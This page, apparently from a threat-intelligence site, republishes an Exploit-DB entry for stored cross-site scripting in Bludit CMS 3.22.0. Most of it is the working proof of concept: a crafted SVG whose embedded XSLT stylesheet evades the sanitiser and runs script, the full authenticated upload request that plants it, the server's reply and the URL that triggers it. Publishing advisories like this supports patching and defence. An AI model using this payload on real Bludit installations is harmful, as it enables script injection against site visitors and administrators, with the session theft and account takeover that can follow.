Reconnecting to live updates…
Bludit CMS - Stored XSS
Severity: mediumType: Exploit
Bludit CMS - Stored XSS
Indicators of Compromise
- exploit-code: # Exploit Title: Bludit CMS - Stored XSS # Date: 2026-07-30 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.bludit.com # Software Link: https://github.com/bludit/bludit/releases/tag/3.22.0 # Version: 3.22.0 # Tested on: Windows 10 x64 ## Description: sanitizeSVG() strips script/on* but does not remove XML processing instructions. Uploading an SVG with <?xml-stylesheet?> XSLT (method=html) results in stored XSS when the file is opened top-level as image/svg+xml. ## Payload (payload.svg): <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:text/xml,%3Cxsl:stylesheet%20version%3D%221.0%22%20xmlns:xsl%3D%22http://www.w3.org/1999/XSL/Transform%22%3E%0A%3Cxsl:output%20method%3D%22html%22/%3E%0A%3Cxsl:template%20match%3D%22/%22%3E%0A%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C/body%3E%3C/html%3E%0A%3C/xsl:template%3E%0A%3C/xsl:stylesheet%3E"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100" fill="red"/></svg> ## Upload request (Author + session): POST /admin/ajax/upload-images HTTP/1.1 Host: 127.0.0.1 Cookie: BLUDIT-KEY=SESSION Content-Type: multipart/form-data; boundary=----x ------x Content-Disposition: form-data; name="tokenCSRF" CSRF_TOKEN ------x Content-Disposition: form-data; name="images[]"; filename="payload.svg" Content-Type: image/svg+xml <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:text/xml,%3Cxsl:stylesheet%20version%3D%221.0%22%20xmlns:xsl%3D%22http://www.w3.org/1999/XSL/Transform%22%3E%0A%3Cxsl:output%20method%3D%22html%22/%3E%0A%3Cxsl:template%20match%3D%22/%22%3E%0A%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C/body%3E%3C/html%3E%0A%3C/xsl:template%3E%0A%3C/xsl:stylesheet%3E"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100" fill="red"/></svg> ------x-- ## Response: {"status":0,"message":"Images uploaded.","images":["payload.svg"]} ## Open: http://127.0.0.1/bl-content/uploads/payload.svg
Bludit CMS - Stored XSS
0
MediumPublished: 09/01/2026 (09/01/2026, 00:00:00 UTC)
Source: Exploit-DB RSS Feed
Description
Bludit CMS - Stored XSS
Affected software
Affected versions
=3.22.0
Technical Details
- Version
- 3.22.0
- Author
- Saud Alenazi
- Platform
- Windows 10 x64
- Edb Id
- 52670
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit Code
Exploit code for Bludit CMS - Stored XSS
# Exploit Title: Bludit CMS - Stored XSS # Date: 2026-07-30 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.bludit.com # Software Link: https://github.com/bludit/bludit/releases/tag/3.22.0 # Version: 3.22.0 # Tested on: Windows 10 x64 ## Description: sanitizeSVG() strips script/on* but does not remove XML processing instructions. Uploading an SVG with <?xml-stylesheet?> XSLT (method=html) results in stored XSS when the file is opened top-level as image/svg+xml. ## Payload (payl... (1537 more characters)
Code Length: 2,037 characters
Threat ID: 6a971291acd9273b49060cf7
Added to database: 09/01/2026, 17:59:45 UTC
Last updated: 09/02/2026, 01:56:05 UTC
Views: 9
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Sort by
Loading community insights…
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Please log in to the Console to use AI analysis features.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Breach by OffSeqOFFSEQFRIENDS — 25% OFF
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.
OffSeq TrainingCredly Certified
Lead Pen Test Professional
Technical5-day eLearningPECB Accredited